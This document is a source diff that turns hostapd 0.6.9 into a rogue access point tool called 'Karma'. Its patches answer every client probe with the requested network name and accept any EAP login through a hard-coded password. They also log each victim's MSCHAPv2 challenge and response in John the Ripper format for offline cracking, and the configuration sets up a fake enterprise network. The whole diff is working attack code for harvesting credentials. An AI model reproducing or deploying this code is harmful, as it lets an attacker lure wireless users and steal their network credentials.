diff -rub hostapd-0.6.9/hostapd/beacon.c hostapd-0.6.9-jmk/hostapd/beacon.c --- hostapd-0.6.9/hostapd/beacon.c 2009-03-23 09:06:28.000000000 -0500 +++ hostapd-0.6.9-jmk/hostapd/beacon.c 2010-04-22 12:54:07.945907474 -0500 @@ -15,6 +15,9 @@ * See README and COPYING for more details. */ +#define _GNU_SOURCE +#include + #include "includes.h" #ifndef CONFIG_NATIVE_WINDOWS @@ -29,6 +32,8 @@ #include "sta_info.h" #include "wps_hostapd.h" +extern int karma_beacon_respond; +extern void karma_logger(int, char*); static u8 ieee802_11_erp_info(struct hostapd_data *hapd) { @@ -242,6 +247,24 @@ if (sta) sta->ssid_probe = &hapd->conf->ssid; } + /* Karma Promiscuous Beacon Response Hack - JoMo-Kun */ + else if (karma_beacon_respond) { + char ssid_txt[33]; + char *message = NULL; + + ieee802_11_print_ssid(ssid_txt, elems.ssid, elems.ssid_len); + + if (asprintf(&message, "Probe request from " MACSTR " for SSID '%s'", MAC2STR(mgmt->sa), ssid_txt) < 0) + wpa_printf(MSG_ERROR, "Error allocating memory for Karma message\n"); + + karma_logger(0, message); + free(message); + + ssid = (char *)elems.ssid; + ssid_len = elems.ssid_len; + //if (sta) + // sta->ssid_probe = &elems.ssid; + } if (!ssid) { if (!(mgmt->da[0] & 0x01)) { diff -rub hostapd-0.6.9/hostapd/defconfig hostapd-0.6.9-jmk/hostapd/defconfig --- hostapd-0.6.9/hostapd/defconfig 2009-03-23 09:06:28.000000000 -0500 +++ hostapd-0.6.9-jmk/hostapd/defconfig 2010-04-22 15:28:39.443399753 -0500 @@ -23,7 +23,7 @@ #CONFIG_DRIVER_PRISM54=y # Driver interface for drivers using the nl80211 kernel interface -#CONFIG_DRIVER_NL80211=y +CONFIG_DRIVER_NL80211=y # driver_nl80211.c requires a rather new libnl (version 1.1) which may not be # shipped with your distribution yet. If that is the case, you need to build # newer libnl version and point the hostapd build to use it. diff -rub hostapd-0.6.9/hostapd/hostapd.c hostapd-0.6.9-jmk/hostapd/hostapd.c --- hostapd-0.6.9/hostapd/hostapd.c 2009-03-23 09:06:28.000000000 -0500 +++ hostapd-0.6.9-jmk/hostapd/hostapd.c 2010-04-22 16:55:18.083422154 -0500 @@ -61,11 +61,51 @@ unsigned char rfc1042_header[6] = { 0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00 }; +/* Karma Mode */ +int karma_beacon_respond = 0; +int karma_eap_auth = 0; extern int wpa_debug_level; extern int wpa_debug_show_keys; extern int wpa_debug_timestamp; +/* Karma Mode: Log data related to MSCHAPv2 challenge/response authentication attempts */ +void karma_logger(int type, char *message) +{ + FILE *logfd; + time_t cur_time; + struct tm *tm_ptr; + char time_buf[256]; + + /* General: probe requests, username requests */ + logfd = fopen("./hostapd-karma.txt", "a"); + if (logfd == NULL) { + fprintf(stderr, "[karma] Failed to open log file: ./hostapd-karma.txt\n"); + logfd = stderr; + } + + cur_time = time(NULL); + (void) time(&cur_time); + tm_ptr = localtime(&cur_time); + strftime(time_buf, 256, "%Y-%m-%d %H:%M:%S", tm_ptr); + + fprintf(logfd, "%s:%s\n", time_buf, message); + fprintf(stderr, "[karma] %s:%s\n", time_buf, message); + fclose(logfd); + + /* MSCHAPv2 Challenge/Response */ + if (type == 1) + { + logfd = fopen("./hostapd-karma.lc", "a"); + if (logfd == NULL) { + fprintf(stderr, "[karma] Failed to open log file: ./hostapd-karma.lc\n"); + logfd = stderr; + } + + fprintf(logfd, "%s\n", message); + fclose(logfd); + } +} static void hostapd_logger_cb(void *ctx, const u8 *addr, unsigned int module, int level, const char *txt, size_t len) @@ -1693,7 +1733,7 @@ show_version(); fprintf(stderr, "\n" - "usage: hostapd [-hdBKtv] [-P ] " + "usage: hostapd [-hdBKtvRA] [-P ] " "\n" "\n" "options:\n" @@ -1703,7 +1743,9 @@ " -P PID file\n" " -K include key data in debug messages\n" " -t include timestamps in some debug messages\n" - " -v show hostapd version\n"); + " -v show hostapd version\n" + " -R [karma] respond to all probes using requested SSID\n" + " -A [karma] enable authentication attempt logging\n"); exit(1); } @@ -1872,7 +1914,7 @@ hostapd_logger_register_cb(hostapd_logger_cb); for (;;) { - c = getopt(argc, argv, "BdhKP:tv"); + c = getopt(argc, argv, "BdhKP:tRAv"); if (c < 0) break; switch (c) { @@ -1896,6 +1938,12 @@ case 't': wpa_debug_timestamp++; break; + case 'R': + karma_beacon_respond++; + break; + case 'A': + karma_eap_auth++; + break; case 'v': show_version(); exit(1); diff -rub hostapd-0.6.9/hostapd/hostapd.conf hostapd-0.6.9-jmk/hostapd/hostapd.conf --- hostapd-0.6.9/hostapd/hostapd.conf 2009-03-23 09:06:28.000000000 -0500 +++ hostapd-0.6.9-jmk/hostapd/hostapd.conf 2010-04-22 15:54:08.643401844 -0500 @@ -3,7 +3,7 @@ # AP netdevice name (without 'ap' postfix, i.e., wlan0 uses wlan0ap for # management frames); ath0 for madwifi -interface=wlan0 +interface=wlan1 # In case of madwifi and nl80211 driver interfaces, an additional configuration # parameter, bridge, must be used to notify hostapd if the interface is @@ -14,7 +14,7 @@ # default: hostap). nl80211 is used with all Linux mac80211 drivers. # Use driver=none if building hostapd as a standalone RADIUS server that does # not control any wireless/wired driver. -# driver=hostap +driver=nl80211 # hostapd event logger configuration # @@ -75,12 +75,12 @@ ##### IEEE 802.11 related configuration ####################################### # SSID to be used in IEEE 802.11 management frames -ssid=test +ssid=YouReallyWantToConnect # Country code (ISO/IEC 3166-1). Used to set regulatory domain. # Set as needed to indicate country in which device is operating. # This can limit available channels and transmit power. -#country_code=US +country_code=US # Enable IEEE 802.11d. This advertises the country_code and the set of allowed # channels and transmit power levels based on the regulatory limits. The @@ -91,14 +91,14 @@ # Operation mode (a = IEEE 802.11a, b = IEEE 802.11b, g = IEEE 802.11g, # Default: IEEE 802.11b -hw_mode=a +hw_mode=b # Channel number (IEEE 802.11) # (default: 0, i.e., not set) # Please note that some drivers (e.g., madwifi) do not use this value from # hostapd and the channel will need to be configuration separately with # iwconfig. -channel=60 +channel=6 # Beacon interval in kus (1.024 ms) (default: 100; range 15..65535) beacon_int=100 @@ -411,7 +411,7 @@ ##### IEEE 802.1X-2004 related configuration ################################## # Require IEEE 802.1X authorization -#ieee8021x=1 +ieee8021x=1 # IEEE 802.1X/EAPOL version # hostapd is implemented based on IEEE Std 802.1X-2004 which defines EAPOL @@ -419,7 +419,7 @@ # the new version number correctly (they seem to drop the frames completely). # In order to make hostapd interoperate with these clients, the version number # can be set to the older version (1) with this configuration value. -#eapol_version=2 +eapol_version=1 # Optional displayable message sent with EAP Request-Identity. The first \0 # in this string will be converted to ASCII-0 (nul). This can be used to @@ -461,26 +461,26 @@ # Use integrated EAP server instead of external RADIUS authentication # server. This is also needed if hostapd is configured to act as a RADIUS # authentication server. -eap_server=0 +eap_server=1 # Path for EAP server user database #eap_user_file=/etc/hostapd.eap_user # CA certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS -#ca_cert=/etc/hostapd.ca.pem +ca_cert=/etc/hostapd/sf_bundle.pem # Server certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS -#server_cert=/etc/hostapd.server.pem +server_cert=/etc/hostapd/INTRANET.pem # Private key matching with the server certificate for EAP-TLS/PEAP/TTLS # This may point to the same file as server_cert if both certificate and key # are included in a single file. PKCS#12 (PFX) file (.p12/.pfx) can also be # used by commenting out server_cert and specifying the PFX file as the # private_key. -#private_key=/etc/hostapd.server.prv +private_key=/etc/hostapd/INTRANET.pem # Passphrase for private key -#private_key_passwd=secret passphrase +private_key_passwd=BlahBlahBlahBlah # Enable CRL verification. # Note: hostapd does not yet support CRL downloading based on CDP. Thus, a @@ -674,7 +674,7 @@ # and/or WPA2 (full IEEE 802.11i/RSN): # bit0 = WPA # bit1 = IEEE 802.11i/RSN (WPA2) (dot11RSNAEnabled) -#wpa=1 +wpa=3 # WPA pre-shared keys for WPA-PSK. This can be either entered as a 256-bit # secret in hex format (64 hex digits), wpa_psk, or as an ASCII passphrase @@ -695,7 +695,7 @@ # entries are separated with a space. WPA-PSK-SHA256 and WPA-EAP-SHA256 can be # added to enable SHA256-based stronger algorithms. # (dot11RSNAConfigAuthenticationSuitesTable) -#wpa_key_mgmt=WPA-PSK WPA-EAP +wpa_key_mgmt=WPA-EAP # Set of accepted cipher suites (encryption algorithms) for pairwise keys # (unicast packets). This is a space separated list of algorithms: diff -rub hostapd-0.6.9/hostapd/ieee802_11.c hostapd-0.6.9-jmk/hostapd/ieee802_11.c --- hostapd-0.6.9/hostapd/ieee802_11.c 2009-03-23 09:06:28.000000000 -0500 +++ hostapd-0.6.9-jmk/hostapd/ieee802_11.c 2010-04-22 10:47:32.843419661 -0500 @@ -37,6 +37,7 @@ #include "driver.h" #include "mlme.h" +extern int karma_beacon_respond; u8 * hostapd_eid_supp_rates(struct hostapd_data *hapd, u8 *eid) { @@ -755,8 +756,9 @@ goto fail; } - if (elems.ssid_len != hapd->conf->ssid.ssid_len || - os_memcmp(elems.ssid, hapd->conf->ssid.ssid, elems.ssid_len) != 0) + /* Karma Promiscuous Beacon Response Hack - JoMo-Kun */ + if ((!karma_beacon_respond) && (elems.ssid_len != hapd->conf->ssid.ssid_len || + os_memcmp(elems.ssid, hapd->conf->ssid.ssid, elems.ssid_len) != 0)) { char ssid_txt[33]; ieee802_11_print_ssid(ssid_txt, elems.ssid, elems.ssid_len); diff -rub hostapd-0.6.9/src/eap_server/eap.c hostapd-0.6.9-jmk/src/eap_server/eap.c --- hostapd-0.6.9/src/eap_server/eap.c 2009-03-23 09:06:28.000000000 -0500 +++ hostapd-0.6.9-jmk/src/eap_server/eap.c 2010-04-22 15:37:49.333405887 -0500 @@ -18,6 +18,9 @@ * backend_auth configuration variable to TRUE. */ +#define _GNU_SOURCE +#include + #include "includes.h" #include "common.h" @@ -29,6 +32,9 @@ #define EAP_MAX_AUTH_ROUNDS 50 +extern int karma_eap_auth; +extern void karma_logger(int, char*); + static void eap_user_free(struct eap_user *user); @@ -99,6 +105,8 @@ int phase2) { struct eap_user *user; + char *username = NULL; + char *message = NULL; if (sm == NULL || sm->eapol_cb == NULL || sm->eapol_cb->get_eap_user == NULL) @@ -111,11 +119,36 @@ if (user == NULL) return -1; + /* Karma Mode: Accept all requests, regardless of username - JoMo-Kun */ + if (karma_eap_auth) + { + user->methods[0].vendor = sm->respVendor; + user->password = os_zalloc(9); + strncpy((char *)user->password, "Cricket8", 8); /* Magic password allows successful authentication */ + user->password_len = 8; + + if (phase2) + user->methods[0].method = EAP_TYPE_MSCHAPV2; + else // TODO: what happens if we propose LEAP? + user->methods[0].method = EAP_TYPE_PEAP; + + username = os_zalloc(sm->identity_len + 1); + strncpy(username, (char *)sm->identity, (size_t)sm->identity_len); + + if (asprintf(&message, "Authentication Request - Username: %s Vendor: %d Method: %d", username, sm->respVendor, sm->respVendorMethod) < 0) + printf("Error allocating memory for request message.\n"); + + karma_logger(0, message); + free(message); + } + else + { if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity, identity_len, phase2, user) != 0) { eap_user_free(user); return -1; } + } sm->user = user; sm->user_eap_method_index = 0; diff -rub hostapd-0.6.9/src/eap_server/eap_mschapv2.c hostapd-0.6.9-jmk/src/eap_server/eap_mschapv2.c --- hostapd-0.6.9/src/eap_server/eap_mschapv2.c 2009-03-23 09:06:28.000000000 -0500 +++ hostapd-0.6.9-jmk/src/eap_server/eap_mschapv2.c 2010-04-22 15:36:51.185891044 -0500 @@ -18,6 +18,8 @@ #include "eap_i.h" #include "ms_funcs.h" +extern int karma_eap_auth; +extern void karma_logger(int, char*); struct eap_mschapv2_hdr { u8 op_code; /* MSCHAPV2_OP_* */ @@ -289,12 +291,14 @@ struct wpabuf *respData) { struct eap_mschapv2_hdr *resp; - const u8 *pos, *end, *peer_challenge, *nt_response, *name; + const u8 *pos, *end, *auth_challenge, *peer_challenge, *nt_response, *name; u8 flags; size_t len, name_len, i; u8 expected[24]; const u8 *username, *user; size_t username_len, user_len; + char *auth_creds = NULL; + int auth_creds_len = 0; pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, respData, &len); @@ -334,6 +338,38 @@ wpa_printf(MSG_MSGDUMP, "EAP-MSCHAPV2: Flags 0x%x", flags); wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-MSCHAPV2: Name", name, name_len); + /* Karma Mode: Log MSCHAPv2 exchange in John format - JoMo-Kun */ + /* user::domain (unused):authenticator challenge:mschapv2 response:peer challenge */ + if (karma_eap_auth) + { + auth_creds_len = sm->identity_len + 3 + 16*2 + 1 + 24*2 + 1 + 16*2; + auth_creds = os_malloc(auth_creds_len + 1); + memset(auth_creds, 0, auth_creds_len + 1); + + strncpy(auth_creds, (char *)sm->identity, sm->identity_len); + sprintf(auth_creds + sm->identity_len, ":::"); + + /* Authenticator Challenge */ + auth_challenge = data->auth_challenge; + for (i=0; i<16; i++) + sprintf(auth_creds + sm->identity_len + 3 + 2*i, "%2.2X", 0xFF & (int)auth_challenge[i]); + + sprintf(auth_creds + sm->identity_len + 3 + 16*2, ":"); + + /* MSCHAPv2 Response */ + for (i=0; i<24; i++) + sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 2*i, "%2.2X", 0xFF & (int)nt_response[i]); + + sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 24*2, ":"); + + /* Peer Challenge */ + for (i=0; i<16; i++) + sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 24*2 + 1 + 2*i, "%2.2X", 0xFF & (int)peer_challenge[i]); + + karma_logger(1, auth_creds); + free(auth_creds); + } + /* MSCHAPv2 does not include optional domain name in the * challenge-response calculation, so remove domain prefix * (if present). */